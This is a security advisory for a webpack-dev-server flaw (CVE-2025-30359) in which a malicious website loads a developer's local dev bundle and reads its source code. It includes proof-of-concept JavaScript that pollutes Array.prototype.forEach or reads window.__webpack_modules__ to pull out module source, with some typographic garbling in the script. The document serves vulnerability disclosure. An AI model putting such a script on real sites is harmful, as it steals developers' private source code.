GHSA-4v9v-hfq4-rm2v: webpack-dev-server users' source code may be stolen when they access a malicious web site

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in webpack_modules, the attacker can get the source code.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
5. You can see the source code output in the document and the devtools console.

The script in the POC site is:

let moduleList const onHandlerSet = (handler) => { console.log('h’, handler) moduleList = handler.require.m }

const originalArrayForEach = Array.prototype.forEach Array.prototype.forEach = function forEach(callback, thisArg) { callback((handler) => { onHandlerSet(handler) }) originalArrayForEach.call(this, callback, thisArg) Array.prototype.forEach = originalArrayForEach }

const script = document.createElement(‘script’) script.src = ‘http://localhost:8080/main.js’ script.addEventListener('load’, () => { console.log(moduleList) for (const key in moduleList) { const p = document.createElement(‘p’) const title = document.createElement(‘strong’) title.textContent = key const code = document.createElement(‘code’) code.textContent = moduleList[key].toString() p.append(title, ':’, document.createElement(‘br’), code) document.body.appendChild§ } }) document.head.appendChild(script)

This script uses the function generated by renderRequire.

// The require function
function \_\_webpack\_require\_\_(moduleId) {
    // Check if module is in cache
    var cachedModule \= \_\_webpack\_module\_cache\_\_\[moduleId\];
    if (cachedModule !== undefined) {
        return cachedModule.exports;
    }
    // Create a new module (and put it into the cache)
    var module \= \_\_webpack\_module\_cache\_\_\[moduleId\] \= {
        // no module.id needed
        // no module.loaded needed
        exports: {}
    };
    // Execute the module function
    var execOptions \= {
        id: moduleId,
        module: module,
        factory: \_\_webpack\_modules\_\_\[moduleId\],
        require: \_\_webpack\_require\_\_
    };
    \_\_webpack\_require\_\_.i.forEach(function(handler) {
        handler(execOptions);
    });
    module \= execOptions.module;
    execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
    // Return the exports of the module
    return module.exports;
}

Especially, it uses the fact that Array::forEach is called for webpack_require.i and execOptions contains webpack_require.
It uses prototype pollution against Array::forEach to extract webpack_require reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

Old contentSummary

Source code may be stolen when you use output.iife: false and access a malicious web site.

Details

When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. webpack_modules).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in webpack_modules, the attacker can get the source code.

I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/
5. Open the devtools console.
6. You can see the content of src/index.js and other scripts loaded.

The script in the POC site is:

const script = document.createElement(‘script’) script.src = ‘http://localhost:8080/main.js’ script.addEventListener('load’, () => { for (const module in window.__webpack_modules__) { console.log(`${module}:`, window.__webpack_modules__[module].toString()) } }) document.head.appendChild(script)

Impact

This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.

### References - https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v - https://nvd.nist.gov/vuln/detail/CVE-2025-30359 - https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e